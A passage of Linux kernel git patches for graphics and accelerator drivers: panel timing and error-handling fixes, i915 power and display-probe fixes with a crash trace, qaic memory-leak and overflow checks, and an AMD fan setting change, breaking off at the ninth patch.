From ae6546835efaa7195aaaa10e5ff4e695cd82a816 Mon Sep 17 00:00:00 2001
From: David Heidelberg <david@ixit.cz>
Date: Sat, 12 Aug 2023 20:52:39 +0200
Subject: [PATCH 01/19] drm/panel: JDI LT070ME05000 simplify with
 dev_err_probe()

Use the dev_err_probe() helper to simplify error handling during probe.
This also handle scenario, when EDEFER is returned and useless error is printed.

Fixes error:
panel-jdi-lt070me05000 4700000.dsi.0: cannot get enable-gpio -517

Signed-off-by: David Heidelberg <david@ixit.cz>
Reviewed-by: Neil Armstrong <neil.armstrong@linaro.org>
Signed-off-by: Neil Armstrong <neil.armstrong@linaro.org>
Link: https://patchwork.freedesktop.org/patch/msgid/20230812185239.378582-1-david@ixit.cz
---
 .../gpu/drm/panel/panel-jdi-lt070me05000.c    | 36 ++++++++-----------
 1 file changed, 14 insertions(+), 22 deletions(-)

diff --git a/drivers/gpu/drm/panel/panel-jdi-lt070me05000.c b/drivers/gpu/drm/panel/panel-jdi-lt070me05000.c
index 8f4f137a2af6..213008499caa 100644
--- a/drivers/gpu/drm/panel/panel-jdi-lt070me05000.c
+++ b/drivers/gpu/drm/panel/panel-jdi-lt070me05000.c
@@ -404,38 +404,30 @@ static int jdi_panel_add(struct jdi_panel *jdi)
 
 	ret = devm_regulator_bulk_get(dev, ARRAY_SIZE(jdi->supplies),
 				      jdi->supplies);
-	if (ret < 0) {
-		dev_err(dev, "failed to init regulator, ret=%d\n", ret);
-		return ret;
-	}
+	if (ret < 0)
+		return dev_err_probe(dev, ret,
+				     "failed to init regulator, ret=%d\n", ret);
 
 	jdi->enable_gpio = devm_gpiod_get(dev, "enable", GPIOD_OUT_LOW);
 	if (IS_ERR(jdi->enable_gpio)) {
-		ret = PTR_ERR(jdi->enable_gpio);
-		dev_err(dev, "cannot get enable-gpio %d\n", ret);
-		return ret;
+		return dev_err_probe(dev, PTR_ERR(jdi->enable_gpio),
+				     "cannot get enable-gpio %d\n", ret);
 	}
 
 	jdi->reset_gpio = devm_gpiod_get(dev, "reset", GPIOD_OUT_HIGH);
-	if (IS_ERR(jdi->reset_gpio)) {
-		ret = PTR_ERR(jdi->reset_gpio);
-		dev_err(dev, "cannot get reset-gpios %d\n", ret);
-		return ret;
-	}
+	if (IS_ERR(jdi->reset_gpio))
+		return dev_err_probe(dev, PTR_ERR(jdi->reset_gpio),
+				     "cannot get reset-gpios %d\n", ret);
 
 	jdi->dcdc_en_gpio = devm_gpiod_get(dev, "dcdc-en", GPIOD_OUT_LOW);
-	if (IS_ERR(jdi->dcdc_en_gpio)) {
-		ret = PTR_ERR(jdi->dcdc_en_gpio);
-		dev_err(dev, "cannot get dcdc-en-gpio %d\n", ret);
-		return ret;
-	}
+	if (IS_ERR(jdi->dcdc_en_gpio))
+		return dev_err_probe(dev, PTR_ERR(jdi->dcdc_en_gpio),
+				     "cannot get dcdc-en-gpio %d\n", ret);
 
 	jdi->backlight = drm_panel_create_dsi_backlight(jdi->dsi);
-	if (IS_ERR(jdi->backlight)) {
-		ret = PTR_ERR(jdi->backlight);
-		dev_err(dev, "failed to register backlight %d\n", ret);
-		return ret;
-	}
+	if (IS_ERR(jdi->backlight))
+		return dev_err_probe(dev, PTR_ERR(jdi->backlight),
+				     "failed to register backlight %d\n", ret);
 
 	drm_panel_init(&jdi->base, &jdi->dsi->dev, &jdi_panel_funcs,
 		       DRM_MODE_CONNECTOR_DSI);

From e8470c0a7bcaa82f78ad34282d662dd7bd9630c2 Mon Sep 17 00:00:00 2001
From: Luca Ceresoli <luca.ceresoli@bootlin.com>
Date: Fri, 4 Aug 2023 17:12:39 +0200
Subject: [PATCH 02/19] drm/panel: simple: Fix AUO G121EAN01 panel timings
 according to the docs

Commit 03e909acd95a ("drm/panel: simple: Add support for AUO G121EAN01.4
panel") added support for this panel model, but the timings it implements
are very different from what the datasheet describes. I checked both the
G121EAN01.0 datasheet from [0] and the G121EAN01.4 one from [1] and they
all have the same timings: for example the LVDS clock typical value is 74.4
MHz, not 66.7 MHz as implemented.

Replace the timings with the ones from the documentation. These timings
have been tested and the clock frequencies verified with an oscilloscope to
ensure they are correct.

Also use struct display_timing instead of struct drm_display_mode in order
to also specify the minimum and maximum values.

[0] https://embedded.avnet.com/product/g121ean01-0/
[1] https://embedded.avnet.com/product/g121ean01-4/

Fixes: 03e909acd95a ("drm/panel: simple: Add support for AUO G121EAN01.4 panel")
Signed-off-by: Luca Ceresoli <luca.ceresoli@bootlin.com>
Reviewed-by: Neil Armstrong <neil.armstrong@linaro.org>
Signed-off-by: Neil Armstrong <neil.armstrong@linaro.org>
Link: https://patchwork.freedesktop.org/patch/msgid/20230804151239.835216-1-luca.ceresoli@bootlin.com
---
 drivers/gpu/drm/panel/panel-simple.c | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/drivers/gpu/drm/panel/panel-simple.c b/drivers/gpu/drm/panel/panel-simple.c
index aaba36b3a674..b38d0e95cd54 100644
--- a/drivers/gpu/drm/panel/panel-simple.c
+++ b/drivers/gpu/drm/panel/panel-simple.c
@@ -999,21 +999,21 @@ static const struct panel_desc auo_g104sn02 = {
 	.connector_type = DRM_MODE_CONNECTOR_LVDS,
 };
 
-static const struct drm_display_mode auo_g121ean01_mode = {
-	.clock = 66700,
-	.hdisplay = 1280,
-	.hsync_start = 1280 + 58,
-	.hsync_end = 1280 + 58 + 8,
-	.htotal = 1280 + 58 + 8 + 70,
-	.vdisplay = 800,
-	.vsync_start = 800 + 6,
-	.vsync_end = 800 + 6 + 4,
-	.vtotal = 800 + 6 + 4 + 10,
+static const struct display_timing auo_g121ean01_timing = {
+	.pixelclock = { 60000000, 74400000, 90000000 },
+	.hactive = { 1280, 1280, 1280 },
+	.hfront_porch = { 20, 50, 100 },
+	.hback_porch = { 20, 50, 100 },
+	.hsync_len = { 30, 100, 200 },
+	.vactive = { 800, 800, 800 },
+	.vfront_porch = { 2, 10, 25 },
+	.vback_porch = { 2, 10, 25 },
+	.vsync_len = { 4, 18, 50 },
 };
 
 static const struct panel_desc auo_g121ean01 = {
-	.modes = &auo_g121ean01_mode,
-	.num_modes = 1,
+	.timings = &auo_g121ean01_timing,
+	.num_timings = 1,
 	.bpc = 8,
 	.size = {
 		.width = 261,

From 5598c9bfdb81f40f2f5d769b342d25bff74b07a6 Mon Sep 17 00:00:00 2001
From: Vinay Belgaumkar <vinay.belgaumkar@intel.com>
Date: Tue, 25 Jul 2023 18:00:44 -0700
Subject: [PATCH 03/19] drm/i915/guc/slpc: Restore efficient freq earlier

This should be done before the soft min/max frequencies are restored.
When we disable the "Ignore efficient frequency" flag, GuC does not
actually bring the requested freq down to RPn.

Specifically, this scenario-

- ignore efficient freq set to true
- reduce min to RPn (from efficient)
- suspend
- resume (includes GuC load, restore soft min/max, restore efficient freq)
- validate min freq has been resored to RPn

This will fail if we didn't first restore(disable, in this case) efficient
freq flag before setting the soft min frequency.

v2: Bring the min freq down to RPn when we disable efficient freq (Rodrigo)
Also made the change to set the min softlimit to RPn at init. Otherwise, we
were storing RPe there.

Link: https://gitlab.freedesktop.org/drm/intel/-/issues/8736
Fixes: 55f9720dbf23 ("drm/i915/guc/slpc: Provide sysfs for efficient freq")
Fixes: 95ccf312a1e4 ("drm/i915/guc/slpc: Allow SLPC to use efficient frequency")
Signed-off-by: Vinay Belgaumkar <vinay.belgaumkar@intel.com>
Reviewed-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: John Harrison <John.C.Harrison@Intel.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230726010044.3280402-1-vinay.belgaumkar@intel.com
(cherry picked from commit 28e671114fb0f28f334fac8d0a6b9c395c7b0498)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
---
 drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c | 22 +++++++++++++--------
 1 file changed, 14 insertions(+), 8 deletions(-)

diff --git a/drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c b/drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c
index ee9f83af7cf6..477df260ae3a 100644
--- a/drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c
+++ b/drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c
@@ -470,12 +470,19 @@ int intel_guc_slpc_set_ignore_eff_freq(struct intel_guc_slpc *slpc, bool val)
 	ret = slpc_set_param(slpc,
 			     SLPC_PARAM_IGNORE_EFFICIENT_FREQUENCY,
 			     val);
-	if (ret)
+	if (ret) {
 		guc_probe_error(slpc_to_guc(slpc), "Failed to set efficient freq(%d): %pe\n",
 				val, ERR_PTR(ret));
-	else
+	} else {
 		slpc->ignore_eff_freq = val;
 
+		/* Set min to RPn when we disable efficient freq */
+		if (val)
+			ret = slpc_set_param(slpc,
+					     SLPC_PARAM_GLOBAL_MIN_GT_UNSLICE_FREQ_MHZ,
+					     slpc->min_freq);
+	}
+
 	intel_runtime_pm_put(&i915->runtime_pm, wakeref);
 	mutex_unlock(&slpc->lock);
 	return ret;
@@ -602,9 +609,8 @@ static int slpc_set_softlimits(struct intel_guc_slpc *slpc)
 		return ret;
 
 	if (!slpc->min_freq_softlimit) {
-		ret = intel_guc_slpc_get_min_freq(slpc, &slpc->min_freq_softlimit);
-		if (unlikely(ret))
-			return ret;
+		/* Min softlimit is initialized to RPn */
+		slpc->min_freq_softlimit = slpc->min_freq;
 		slpc_to_gt(slpc)->defaults.min_freq = slpc->min_freq_softlimit;
 	} else {
 		return intel_guc_slpc_set_min_freq(slpc,
@@ -755,6 +761,9 @@ int intel_guc_slpc_enable(struct intel_guc_slpc *slpc)
 		return ret;
 	}
 
+	/* Set cached value of ignore efficient freq */
+	intel_guc_slpc_set_ignore_eff_freq(slpc, slpc->ignore_eff_freq);
+
 	/* Revert SLPC min/max to softlimits if necessary */
 	ret = slpc_set_softlimits(slpc);
 	if (unlikely(ret)) {
@@ -765,9 +774,6 @@ int intel_guc_slpc_enable(struct intel_guc_slpc *slpc)
 	/* Set cached media freq ratio mode */
 	intel_guc_slpc_set_media_ratio_mode(slpc, slpc->media_ratio_mode);
 
-	/* Set cached value of ignore efficient freq */
-	intel_guc_slpc_set_ignore_eff_freq(slpc, slpc->ignore_eff_freq);
-
 	return 0;
 }
 

From 2002eb6d3ea954dde9f8a223018d5335779937d0 Mon Sep 17 00:00:00 2001
From: Jani Nikula <jani.nikula@intel.com>
Date: Thu, 3 Aug 2023 15:27:06 +0300
Subject: [PATCH 04/19] drm/i915/sdvo: fix panel_type initialization
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Commit 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT
declares an explicit panel type") started using -1 as the value for
unset panel_type. It gets initialized in intel_panel_init_alloc(), but
the SDVO code never calls it.

Call intel_panel_init_alloc() to initialize the panel, including the
panel_type.

Reported-by: Tomi Leppänen <tomi@tomin.site>
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8896
Fixes: 3f9ffce5765d ("drm/i915: Do panel VBT init early if the VBT declares an explicit panel type")
Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
Cc: <stable@vger.kernel.org> # v6.1+
Reviewed-by: Uma Shankar <uma.shankar@intel.com>
Tested-by: Tomi Leppänen <tomi@tomin.site>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230803122706.838721-1-jani.nikula@intel.com
(cherry picked from commit 26e60294e8eacedc8ebb33405b2c375fd80e0900)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
---
 drivers/gpu/drm/i915/display/intel_sdvo.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/gpu/drm/i915/display/intel_sdvo.c b/drivers/gpu/drm/i915/display/intel_sdvo.c
index 21f92123c844..67e3aaf9b432 100644
--- a/drivers/gpu/drm/i915/display/intel_sdvo.c
+++ b/drivers/gpu/drm/i915/display/intel_sdvo.c
@@ -2752,7 +2752,7 @@ static struct intel_sdvo_connector *intel_sdvo_connector_alloc(void)
 	__drm_atomic_helper_connector_reset(&sdvo_connector->base.base,
 					    &conn_state->base.base);
 
-	INIT_LIST_HEAD(&sdvo_connector->base.panel.fixed_modes);
+	intel_panel_init_alloc(&sdvo_connector->base);
 
 	return sdvo_connector;
 }

From 423ffe62c06ae241ad460f4629dddb9dcf55e060 Mon Sep 17 00:00:00 2001
From: Jani Nikula <jani.nikula@intel.com>
Date: Fri, 4 Aug 2023 11:45:59 +0300
Subject: [PATCH 05/19] drm/i915: fix display probe for IVB Q and IVB D GT2
 server

The current display probe is unable to differentiate between IVB Q and
IVB D GT2 server, as they both have the same device id, but different
subvendor and subdevice. This leads to the latter being misidentified as
the former, and should just end up not having a display. However, the no
display case returns a NULL as the display device info, and promptly
oopses.

As the IVB Q case is rare, and we're anyway moving towards GMD ID,
handle the identification requiring subvendor and subdevice as a special
case first, instead of unnecessarily growing the intel_display_ids[]
array with subvendor and subdevice.

[    5.425298] BUG: kernel NULL pointer dereference, address: 0000000000000000
[    5.426059] #PF: supervisor read access in kernel mode
[    5.426810] #PF: error_code(0x0000) - not-present page
[    5.427570] PGD 0 P4D 0
[    5.428285] Oops: 0000 [#1] PREEMPT SMP PTI
[    5.429035] CPU: 0 PID: 137 Comm: (udev-worker) Not tainted 6.4.0-1-amd64 #1  Debian 6.4.4-1
[    5.429759] Hardware name: HP HP Z220 SFF Workstation/HP Z220 SFF Workstation, BIOS 4.19-218-gb184e6e0a1 02/02/2023
[    5.430485] RIP: 0010:intel_device_info_driver_create+0xf1/0x120 [i915]
[    5.431338] Code: 48 8b 97 80 1b 00 00 89 8f c0 1b 00 00 48 89 b7 b0 1b 00 00 48 89 97 b8 1b 00 00 0f b7 fd e8 76 e8 14 00 48 89 83 50 1b 00 00 <48> 8b 08 48 89 8b c4 1b 00 00 48 8b 48 08 48 89 8b cc 1b 00 00 8b
[    5.432920] RSP: 0018:ffffb8254044fb98 EFLAGS: 00010206
[    5.433707] RAX: 0000000000000000 RBX: ffff923076e80000 RCX: 0000000000000000
[    5.434494] RDX: 0000000000000260 RSI: 0000000100001000 RDI: 000000000000016a
[    5.435277] RBP: 000000000000016a R08: ffffb8254044fb00 R09: 0000000000000000
[    5.436055] R10: ffff922d02761de8 R11: 00657361656c6572 R12: ffffffffc0e5d140
[    5.436867] R13: ffff922d00b720d0 R14: 0000000076e80000 R15: ffff923078c0cae8
[    5.437646] FS:  00007febd19a18c0(0000) GS:ffff92307c000000(0000) knlGS:0000000000000000
[    5.438434] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.439218] CR2: 0000000000000000 CR3: 000000010256e002 CR4: 00000000001706f0
[    5.440009] Call Trace:
[    5.440824]  <TASK>
[    5.441611]  ? __die+0x23/0x70
[    5.442394]  ? page_fault_oops+0x17d/0x4c0
[    5.443173]  ? exc_page_fault+0x7f/0x180
[    5.443949]  ? asm_exc_page_fault+0x26/0x30
[    5.444756]  ? intel_device_info_driver_create+0xf1/0x120 [i915]
[    5.445652]  ? intel_device_info_driver_create+0xea/0x120 [i915]
[    5.446545]  i915_driver_probe+0x7f/0xb60 [i915]
[    5.447431]  ? drm_privacy_screen_get+0x15c/0x1a0 [drm]
[    5.448240]  local_pci_probe+0x45/0xa0
[    5.449013]  pci_device_probe+0xc7/0x240
[    5.449748]  really_probe+0x19e/0x3e0
[    5.450464]  ? __pfx___driver_attach+0x10/0x10
[    5.451172]  __driver_probe_device+0x78/0x160
[    5.451870]  driver_probe_device+0x1f/0x90
[    5.452601]  __driver_attach+0xd2/0x1c0
[    5.453293]  bus_for_each_dev+0x88/0xd0
[    5.453989]  bus_add_driver+0x116/0x220
[    5.454672]  driver_register+0x59/0x100
[    5.455336]  i915_init+0x25/0xc0 [i915]
[    5.456104]  ? __pfx_i915_init+0x10/0x10 [i915]
[    5.456882]  do_one_initcall+0x5d/0x240
[    5.457511]  do_init_module+0x60/0x250
[    5.458126]  __do_sys_finit_module+0xac/0x120
[    5.458721]  do_syscall_64+0x60/0xc0
[    5.459314]  ? syscall_exit_to_user_mode+0x1b/0x40
[    5.459897]  ? do_syscall_64+0x6c/0xc0
[    5.460510]  entry_SYSCALL_64_after_hwframe+0x72/0xdc
[    5.461082] RIP: 0033:0x7febd20b0eb9
[    5.461648] Code: 08 89 e8 5b 5d c3 66 2e 0f 1f 84 00 00 00 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 2f 1f 0d 00 f7 d8 64 89 01 48
[    5.462905] RSP: 002b:00007fffabb1ba78 EFLAGS: 00000246 ORIG_RAX: 0000000000000139
[    5.463554] RAX: ffffffffffffffda RBX: 0000561e6304f410 RCX: 00007febd20b0eb9
[    5.464201] RDX: 0000000000000000 RSI: 00007febd2244f0d RDI: 0000000000000015
[    5.464869] RBP: 00007febd2244f0d R08: 0000000000000000 R09: 000000000000000a
[    5.465512] R10: 0000000000000015 R11: 0000000000000246 R12: 0000000000020000
[    5.466124] R13: 0000000000000000 R14: 0000561e63032b60 R15: 000000000000000a
[    5.466700]  </TASK>
[    5.467271] Modules linked in: i915(+) drm_buddy video crc32_pclmul sr_mod hid_generic wmi crc32c_intel i2c_algo_bit sd_mod cdrom drm_display_helper cec usbhid rc_core ghash_clmulni_intel hid sha512_ssse3 ttm sha512_generic xhci_pci ehci_pci xhci_hcd ehci_hcd nvme ahci drm_kms_helper nvme_core libahci t10_pi libata psmouse aesni_intel scsi_mod crypto_simd i2c_i801 scsi_common crc64_rocksoft_generic cryptd i2c_smbus drm lpc_ich crc64_rocksoft crc_t10dif e1000e usbcore crct10dif_generic usb_common crct10dif_pclmul crc64 crct10dif_common button
[    5.469750] CR2: 0000000000000000
[    5.470364] ---[ end trace 0000000000000000 ]---
[    5.470971] RIP: 0010:intel_device_info_driver_create+0xf1/0x120 [i915]
[    5.471699] Code: 48 8b 97 80 1b 00 00 89 8f c0 1b 00 00 48 89 b7 b0 1b 00 00 48 89 97 b8 1b 00 00 0f b7 fd e8 76 e8 14 00 48 89 83 50 1b 00 00 <48> 8b 08 48 89 8b c4 1b 00 00 48 8b 48 08 48 89 8b cc 1b 00 00 8b
[    5.473034] RSP: 0018:ffffb8254044fb98 EFLAGS: 00010206
[    5.473698] RAX: 0000000000000000 RBX: ffff923076e80000 RCX: 0000000000000000
[    5.474371] RDX: 0000000000000260 RSI: 0000000100001000 RDI: 000000000000016a
[    5.475045] RBP: 000000000000016a R08: ffffb8254044fb00 R09: 0000000000000000
[    5.475725] R10: ffff922d02761de8 R11: 00657361656c6572 R12: ffffffffc0e5d140
[    5.476405] R13: ffff922d00b720d0 R14: 0000000076e80000 R15: ffff923078c0cae8
[    5.477124] FS:  00007febd19a18c0(0000) GS:ffff92307c000000(0000) knlGS:0000000000000000
[    5.477811] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.478499] CR2: 0000000000000000 CR3: 000000010256e002 CR4: 00000000001706f0

Fixes: 69d439818fe5 ("drm/i915/display: Make display responsible for probing its own IP")
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8991
Cc: Matt Roper <matthew.d.roper@intel.com>
Cc: Andrzej Hajda <andrzej.hajda@intel.com>
Reviewed-by: Luca Coelho <luciano.coelho@intel.com>
Reviewed-by: Matt Roper <matthew.d.roper@intel.com>
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230804084600.1005818-1-jani.nikula@intel.com
(cherry picked from commit 1435188307d128671f677eb908e165666dd83652)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
---
 .../drm/i915/display/intel_display_device.c   | 24 ++++++++++++++++---
 1 file changed, 21 insertions(+), 3 deletions(-)

diff --git a/drivers/gpu/drm/i915/display/intel_display_device.c b/drivers/gpu/drm/i915/display/intel_display_device.c
index f0ee9bcf661d..b0c6a2a86f2f 100644
--- a/drivers/gpu/drm/i915/display/intel_display_device.c
+++ b/drivers/gpu/drm/i915/display/intel_display_device.c
@@ -662,10 +662,24 @@ static const struct intel_display_device_info xe_lpdp_display = {
 		BIT(TRANSCODER_C) | BIT(TRANSCODER_D),
 };
 
+/*
+ * Separate detection for no display cases to keep the display id array simple.
+ *
+ * IVB Q requires subvendor and subdevice matching to differentiate from IVB D
+ * GT2 server.
+ */
+static bool has_no_display(struct pci_dev *pdev)
+{
+	static const struct pci_device_id ids[] = {
+		INTEL_IVB_Q_IDS(0),
+		{}
+	};
+
+	return pci_match_id(ids, pdev);
+}
+
 #undef INTEL_VGA_DEVICE
-#undef INTEL_QUANTA_VGA_DEVICE
 #define INTEL_VGA_DEVICE(id, info) { id, info }
-#define INTEL_QUANTA_VGA_DEVICE(info) { 0x16a, info }
 
 static const struct {
 	u32 devid;
@@ -690,7 +704,6 @@ static const struct {
 	INTEL_IRONLAKE_M_IDS(&ilk_m_display),
 	INTEL_SNB_D_IDS(&snb_display),
 	INTEL_SNB_M_IDS(&snb_display),
-	INTEL_IVB_Q_IDS(NULL),		/* must be first IVB in list */
 	INTEL_IVB_M_IDS(&ivb_display),
 	INTEL_IVB_D_IDS(&ivb_display),
 	INTEL_HSW_IDS(&hsw_display),
@@ -775,6 +788,11 @@ intel_display_device_probe(struct drm_i915_private *i915, bool has_gmdid,
 	if (has_gmdid)
 		return probe_gmdid_display(i915, gmdid_ver, gmdid_rel, gmdid_step);
 
+	if (has_no_display(pdev)) {
+		drm_dbg_kms(&i915->drm, "Device doesn't have display\n");
+		return &no_display;
+	}
+
 	for (i = 0; i < ARRAY_SIZE(intel_display_ids); i++) {
 		if (intel_display_ids[i].devid == pdev->device)
 			return intel_display_ids[i].info;

From 2d956177b7c96e62fac762a3b7da4318cde27a73 Mon Sep 17 00:00:00 2001
From: Pranjal Ramajor Asha Kanojiya <quic_pkanojiy@quicinc.com>
Date: Wed, 2 Aug 2023 08:59:37 -0600
Subject: [PATCH 06/19] accel/qaic: Fix slicing memory leak

The temporary buffer storing slicing configuration data from user is only
freed on error.  This is a memory leak.  Free the buffer unconditionally.

Fixes: ff13be830333 ("accel/qaic: Add datapath")
Signed-off-by: Pranjal Ramajor Asha Kanojiya <quic_pkanojiy@quicinc.com>
Reviewed-by: Carl Vanderlip <quic_carlv@quicinc.com>
Reviewed-by: Jeffrey Hugo <quic_jhugo@quicinc.com>
Signed-off-by: Jeffrey Hugo <quic_jhugo@quicinc.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230802145937.14827-1-quic_jhugo@quicinc.com
---
 drivers/accel/qaic/qaic_data.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/drivers/accel/qaic/qaic_data.c b/drivers/accel/qaic/qaic_data.c
index e9a1cb779b30..6b6d981a71be 100644
--- a/drivers/accel/qaic/qaic_data.c
+++ b/drivers/accel/qaic/qaic_data.c
@@ -1021,6 +1021,7 @@ int qaic_attach_slice_bo_ioctl(struct drm_device *dev, void *data, struct drm_fi
 	bo->dbc = dbc;
 	srcu_read_unlock(&dbc->ch_lock, rcu_id);
 	drm_gem_object_put(obj);
+	kfree(slice_ent);
 	srcu_read_unlock(&qdev->dev_lock, qdev_rcu_id);
 	srcu_read_unlock(&usr->qddev_lock, usr_rcu_id);
 

From 96d3c1cadedb6ae2e8965e19cd12caa244afbd9c Mon Sep 17 00:00:00 2001
From: Dan Carpenter <dan.carpenter@linaro.org>
Date: Thu, 10 Aug 2023 15:23:06 +0300
Subject: [PATCH 07/19] accel/qaic: Clean up integer overflow checking in
 map_user_pages()

The encode_dma() function has some validation on in_trans->size but it
would be more clear to move those checks to find_and_map_user_pages().

The encode_dma() had two checks:

	if (in_trans->addr + in_trans->size < in_trans->addr || !in_trans->size)
		return -EINVAL;

The in_trans->addr variable is the starting address.  The in_trans->size
variable is the total size of the transfer.  The transfer can occur in
parts and the resources->xferred_dma_size tracks how many bytes we have
already transferred.

This patch introduces a new variable "remaining" which represents the
amount we want to transfer (in_trans->size) minus the amount we have
already transferred (resources->xferred_dma_size).

I have modified the check for if in_trans->size is zero to instead check
if in_trans->size is less than resources->xferred_dma_size.  If we have
already transferred more bytes than in_trans->size then there are negative
bytes remaining which doesn't make sense.  If there are zero bytes
remaining to be copied, just return success.

The check in encode_dma() checked that "addr + size" could not overflow
and barring a driver bug that should work, but it's easier to check if
we do this in parts.  First check that "in_trans->addr +
resources->xferred_dma_size" is safe.  Then check that "xfer_start_addr +
remaining" is safe.

My final concern was that we are dealing with u64 values but on 32bit
systems the kmalloc() function will truncate the sizes to 32 bits.  So
I calculated "total = in_trans->size + offset_in_page(xfer_start_addr);"
and returned -EINVAL if it were >= SIZE_MAX.  This will not affect 64bit
systems.

Fixes: 129776ac2e38 ("accel/qaic: Add control path")
Signed-off-by: Dan Carpenter <dan.carpenter@linaro.org>
Reviewed-by: Jeffrey Hugo <quic_jhugo@quicinc.com>
Reviewed-by: Carl Vanderlip <quic_carlv@quicinc.com>
Signed-off-by: Jeffrey Hugo <quic_jhugo@quicinc.com>
Link: https://patchwork.freedesktop.org/patch/msgid/24d3348b-25ac-4c1b-b171-9dae7c43e4e0@moroto.mountain
---
 drivers/accel/qaic/qaic_control.c | 26 ++++++++++++++++++--------
 1 file changed, 18 insertions(+), 8 deletions(-)

diff --git a/drivers/accel/qaic/qaic_control.c b/drivers/accel/qaic/qaic_control.c
index cfbc92da426f..388abd40024b 100644
--- a/drivers/accel/qaic/qaic_control.c
+++ b/drivers/accel/qaic/qaic_control.c
@@ -392,18 +392,31 @@ static int find_and_map_user_pages(struct qaic_device *qdev,
 				   struct qaic_manage_trans_dma_xfer *in_trans,
 				   struct ioctl_resources *resources, struct dma_xfer *xfer)
 {
+	u64 xfer_start_addr, remaining, end, total;
 	unsigned long need_pages;
 	struct page **page_list;
 	unsigned long nr_pages;
 	struct sg_table *sgt;
-	u64 xfer_start_addr;
 	int ret;
 	int i;
 
-	xfer_start_addr = in_trans->addr + resources->xferred_dma_size;
+	if (check_add_overflow(in_trans->addr, resources->xferred_dma_size, &xfer_start_addr))
+		return -EINVAL;
 
-	need_pages = DIV_ROUND_UP(in_trans->size + offset_in_page(xfer_start_addr) -
-				  resources->xferred_dma_size, PAGE_SIZE);
+	if (in_trans->size < resources->xferred_dma_size)
+		return -EINVAL;
+	remaining = in_trans->size - resources->xferred_dma_size;
+	if (remaining == 0)
+		return 0;
+
+	if (check_add_overflow(xfer_start_addr, remaining, &end))
+		return -EINVAL;
+
+	total = remaining + offset_in_page(xfer_start_addr);
+	if (total >= SIZE_MAX)
+		return -EINVAL;
+
+	need_pages = DIV_ROUND_UP(total, PAGE_SIZE);
 
 	nr_pages = need_pages;
 
@@ -435,7 +448,7 @@ static int find_and_map_user_pages(struct qaic_device *qdev,
 
 	ret = sg_alloc_table_from_pages(sgt, page_list, nr_pages,
 					offset_in_page(xfer_start_addr),
-					in_trans->size - resources->xferred_dma_size, GFP_KERNEL);
+					remaining, GFP_KERNEL);
 	if (ret) {
 		ret = -ENOMEM;
 		goto free_sgt;
@@ -566,9 +579,6 @@ static int encode_dma(struct qaic_device *qdev, void *trans, struct wrapper_list
 	    QAIC_MANAGE_EXT_MSG_LENGTH)
 		return -ENOMEM;
 
-	if (in_trans->addr + in_trans->size < in_trans->addr || !in_trans->size)
-		return -EINVAL;
-
 	xfer = kmalloc(sizeof(*xfer), GFP_KERNEL);
 	if (!xfer)
 		return -ENOMEM;

From b6360a5ec31d160d58c1a64387b323b556cedca8 Mon Sep 17 00:00:00 2001
From: Kenneth Feng <kenneth.feng@amd.com>
Date: Wed, 9 Aug 2023 18:06:05 +0800
Subject: [PATCH 08/19] drm/amd/pm: disallow the fan setting if there is no fan
 on smu 13.0.0

drm/amd/pm: disallow the fan setting if there is no fan on smu 13.0.0
V2: depend on pm.no_fan to check

Signed-off-by: Kenneth Feng <kenneth.feng@amd.com>
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Reviewed-by: Lijo Lazar <lijo.lazar@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Cc: stable@vger.kernel.org
---
 drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
index fddcd834bcec..0fb6be11a0cc 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_0_ppt.c
@@ -331,6 +331,7 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
 	struct smu_13_0_0_powerplay_table *powerplay_table =
 		table_context->power_play_table;
 	struct smu_baco_context *smu_baco = &smu->smu_baco;
+	PPTable_t *pptable = smu->smu_table.driver_pptable;
 #if 0
 	PPTable_t *pptable = smu->smu_table.driver_pptable;
 	const OverDriveLimits_t * const overdrive_upperlimits =
@@ -371,6 +372,9 @@ static int smu_v13_0_0_check_powerplay_table(struct smu_context *smu)
 	table_context->thermal_controller_type =
 		powerplay_table->thermal_controller_type;
 
+	smu->adev->pm.no_fan =
+		!(pptable->SkuTable.FeaturesToRun[0] & (1 << FEATURE_FAN_CONTROL_BIT));
+
 	return 0;
 }
 

From 0d6f374c0c66e8ecc2897f0837d2cb4bd169bb42 Mon Sep 17 00:00:00 2001
From: Jiadong Zhu <Jiadong.Zhu@amd.com>
